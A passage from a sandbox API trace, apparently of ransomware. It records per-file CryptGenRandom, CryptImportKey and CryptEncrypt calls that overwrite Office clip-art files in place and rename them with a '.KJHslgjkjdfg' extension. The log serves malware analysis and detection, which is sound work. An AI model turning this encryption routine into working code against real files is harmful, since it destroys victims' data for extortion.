SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.294] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x578, lpOverlapped=0x0) returned 1 [0240.294] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x580, dwBufLen=0x580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x580) returned 1 [0240.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.294] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x580, lpOverlapped=0x0) returned 1 [0240.295] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0240.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.295] SetEndOfFile (hFile=0x130) returned 1 [0240.297] GetProcessHeap () returned 0x2ef0000 [0240.297] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0240.297] GetProcessHeap () returned 0x2ef0000 [0240.297] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0240.297] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.kjhslgjkjdfg")) returned 1 [0240.298] CloseHandle (hObject=0x130) returned 1 [0240.299] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3086, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01954_.WMF", cAlternateFileName="")) returned 1 [0240.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0240.300] GetProcessHeap () returned 0x2ef0000 [0240.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0240.300] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0240.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0240.300] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0240.302] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0240.302] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0240.302] GetProcessHeap () returned 0x2ef0000 [0240.302] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0240.302] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0240.302] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0240.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0240.302] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0240.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0240.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0240.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0240.303] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0240.303] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0240.303] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0240.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.303] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3086, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3086, lpOverlapped=0x0) returned 1 [0240.303] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3090, dwBufLen=0x3090 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3090) returned 1 [0240.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.304] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3090, lpOverlapped=0x0) returned 1 [0240.304] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0240.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.304] SetEndOfFile (hFile=0x130) returned 1 [0240.306] GetProcessHeap () returned 0x2ef0000 [0240.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0240.306] GetProcessHeap () returned 0x2ef0000 [0240.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0240.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.kjhslgjkjdfg")) returned 1 [0240.307] CloseHandle (hObject=0x130) returned 1 [0240.307] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02009_.WMF", cAlternateFileName="")) returned 1 [0240.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0240.309] GetProcessHeap () returned 0x2ef0000 [0240.309] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0240.309] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0240.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0240.309] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0240.311] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0240.311] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0240.311] GetProcessHeap () returned 0x2ef0000 [0240.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0240.311] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0240.311] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0240.311] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0240.311] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0240.311] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0240.311] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0240.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0240.312] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0240.312] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0240.312] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0240.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.312] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d14, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d14, lpOverlapped=0x0) returned 1 [0240.312] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d20, dwBufLen=0x1d20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d20) returned 1 [0240.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.313] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d20, lpOverlapped=0x0) returned 1 [0240.313] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0240.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.313] SetEndOfFile (hFile=0x130) returned 1 [0240.315] GetProcessHeap () returned 0x2ef0000 [0240.315] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0240.315] GetProcessHeap () returned 0x2ef0000 [0240.315] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0240.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.kjhslgjkjdfg")) returned 1 [0240.316] CloseHandle (hObject=0x130) returned 1 [0240.316] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02022_.WMF", cAlternateFileName="")) returned 1 [0240.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0240.317] GetProcessHeap () returned 0x2ef0000 [0240.317] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0240.317] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0240.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0240.317] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0240.367] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0240.367] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0240.367] GetProcessHeap () returned 0x2ef0000 [0240.367] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0240.367] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0240.367] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0240.367] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0240.367] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0240.367] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0240.367] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0240.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0240.367] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0240.367] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0240.367] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0240.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.367] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d68, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d68, lpOverlapped=0x0) returned 1 [0241.299] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d70, dwBufLen=0x1d70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d70) returned 1 [0241.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.299] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d70, lpOverlapped=0x0) returned 1 [0241.300] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0241.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.300] SetEndOfFile (hFile=0x130) returned 1 [0241.301] GetProcessHeap () returned 0x2ef0000 [0241.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0241.301] GetProcessHeap () returned 0x2ef0000 [0241.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0241.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.kjhslgjkjdfg")) returned 1 [0241.303] CloseHandle (hObject=0x130) returned 1 [0241.304] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02024_.WMF", cAlternateFileName="")) returned 1 [0241.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0241.306] GetProcessHeap () returned 0x2ef0000 [0241.306] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0241.306] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0241.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0241.307] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0241.309] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0241.309] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0241.309] GetProcessHeap () returned 0x2ef0000 [0241.309] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0241.309] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0241.309] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0241.309] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0241.309] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0241.309] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0241.310] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0241.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0241.310] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0241.310] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0241.310] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0241.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.310] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x23a8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x23a8, lpOverlapped=0x0) returned 1 [0241.311] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x23b0, dwBufLen=0x23b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x23b0) returned 1 [0241.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.311] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x23b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, 